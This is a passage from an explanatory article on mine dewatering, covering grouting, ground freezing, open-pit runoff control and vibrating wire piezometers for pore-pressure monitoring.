Current dewatering processes are much more mindful of the environmental impact of pumping contaminated water onto the surface, and are also sensitive to the incredible costs of running pumps and water treatment plants around the clock. These days, a lot more effort goes into controlling and managing water before it ever gets into the mine’s workings, and passive methods of dewatering are favored wherever possible. It also matters very much what kind of mine is being dewatered; while the basic processes are similar for open-pit versus underground mines, there are important differences.
Underground mines generally have the advantage of penetrating below the local water table. If the mine’s workings are sufficiently far below the groundwater layer and the rock between them is relatively impervious, the mine might be naturally dry. That’s rarely the case, though, as the shafts and ramps that pass through the water table generally liberate water that then flows into the lower parts of the mine, eventually flooding it to the level of the water table. Sometimes it’s possible to mitigate this by drilling wells into the local water table further up the hydraulic grade; the clean water pumped from these wells causes a “cone of depression” in the local water table, lowering it enough to reduce the flow of water into the well to a manageable level.
In other cases, it may be possible to create an impervious barrier between the porous water-bearing rocks and the mine’s workings. The idea here is to redirect the water, preferably so that it finds other hydraulic paths of less resistance rather than flooding into the workings. Grouting mine workings can use cementitious materials like so-called “shotcrete,” a thin concrete that can be sprayed onto rock surfaces. Other grouting jobs are best accomplished with polymeric materials like urethane resins. No matter what material is used, water is kept from entering the workings thanks to drainage pipes and adits built between the water table rocks and the inside of the applied impervious barrier. The redirected water collects in local sumps, where large electric pumps send it out of the mine for processing.
Big Digs
One interesting way to mitigate the flow of water into workings that penetrate the water table is by freezing it. Ground freezing has been used to stabilize wet soils on construction sites for years, with the technique gaining fame during the Boston “Big Dig” megaproject, which buried sections of Interstates 90 and 93 in the saturated fill that most of Boston is built upon. Ground freezing uses massive refrigeration plants to circulate chilled brine in pipes buried in the wet soil, freezing it solid. In mine dewatering, ground freezing is often used around a shaft or ramp passing through the water table. The drawback to ground freezing is the need to operate a refrigeration plant around the clock, but in some instances, it’s more cost-effective than grouting or other passive methods.
Open-pit mines present their own dewatering challenges. By definition, open-pit mines are near the surface and therefore closer to the local water table, which tends to be within the first few hundred meters from the surface. Open-pit mines also tend to disrupt much more surface area of the water table, as opposed to the numerous but relatively small penetrations caused by underground shafts and tunnels. There’s also the compounding problem that open-pit mines are exposed to the elements, meaning that precipitation into the mine and runoff from the local catchment area can introduce massive amounts of water, all of which has to be managed. Open-pit uranium mine in Australia. Despite the arid climate, water is still a problem. The pit at the lowest level of the mine is the sump; water that accumulates there is either pumped out to water treatment plants and retention ponds on the surface, allowed to evaporate in situ, or re-infiltrated in the soil below the mine workings by infiltration wells. Source: Adobe Stock. As with underground mining, dewatering open-pit mines starts with preventing as much water as possible from entering the workings in the first place. Surface berms and swales are often constructed around the perimeter of the mine to control and direct storm runoff into retention ponds, where water can evaporate naturally. Also, dewatering wells are often drilled vertically around the perimeter of the mine, and sometimes horizontally from the walls of the mine into the local water table, to intercept water flowing in the local water table before it enters the mine. Passive dewatering techniques are also used, such as filling cracks with grout or sealants.
The importance of removing water from open-pit mines can’t be overstated. Excess water is a real problem in terms of mine productivity; wet material is heavy, and the huge haulers that bring material up to the surface have to work harder to carry something the mine will make no profit from. Also, the pressure exerted by water in the soil tends to reduce the mechanical strength of the material, making it necessary to cut the walls at a shallower angle than in dry material. That results in removing far more overburden to get to the producing ore body, which might be the difference between a profitable mine and an expensive hole in the ground.
Underground Guitars
Monitoring pore pressure in the groundwater around a mine is one of the biggest parts of dewatering, so much so that mines will install far-flung networks of pressure sensors in and around their workings. The data gathered from these networks not only helps decide where to concentrate dewatering resources, but also serves to monitor how well those efforts are paying off, and to help redirect resources in case the hydrogeological environment changes over time, as it is likely to do.
The chief instrument used today for monitoring pore pressure in mining operations is the piezometer. From the name, one imagines these devices measure water pressure thanks to a piezoelectric transducer. And while there are piezometers that approach, the more common piezometers in use today are of the vibrating wire type. Vibrating wire piezometers, or VWPs, are similar to electric guitars. A thin steel wire is tensioned between a fixed point and a flexible diaphragm. The diaphragm is exposed to the environment, often through a filter to keep debris in the groundwater from getting packed against the diaphragm. The wire’s tension varies as the diaphragm is deflected by water pressure, which changes its resonant frequency. A coil of wire surrounding the steel wire serves to both excite it, like plucking a guitar string, and as a pickup for the resulting vibrations. The higher the pressure outside, the further the diaphragm deflects, which lowers the tension on the string and results in a lower “note” when excited.
VWPs are expected to operate under extreme conditions, so they’re built to last. Most are built from stainless steel cases that can survive inside deep boreholes, and some are even made to be driven into soil directly. Most VWPs include on-board thermistors to adjust pressure readings for the temperature of the water, as well as gas-discharge tubes to protect the sensors and the drivers they’re connected to from lightning strikes and other electrical discharges.
Moonrise2473
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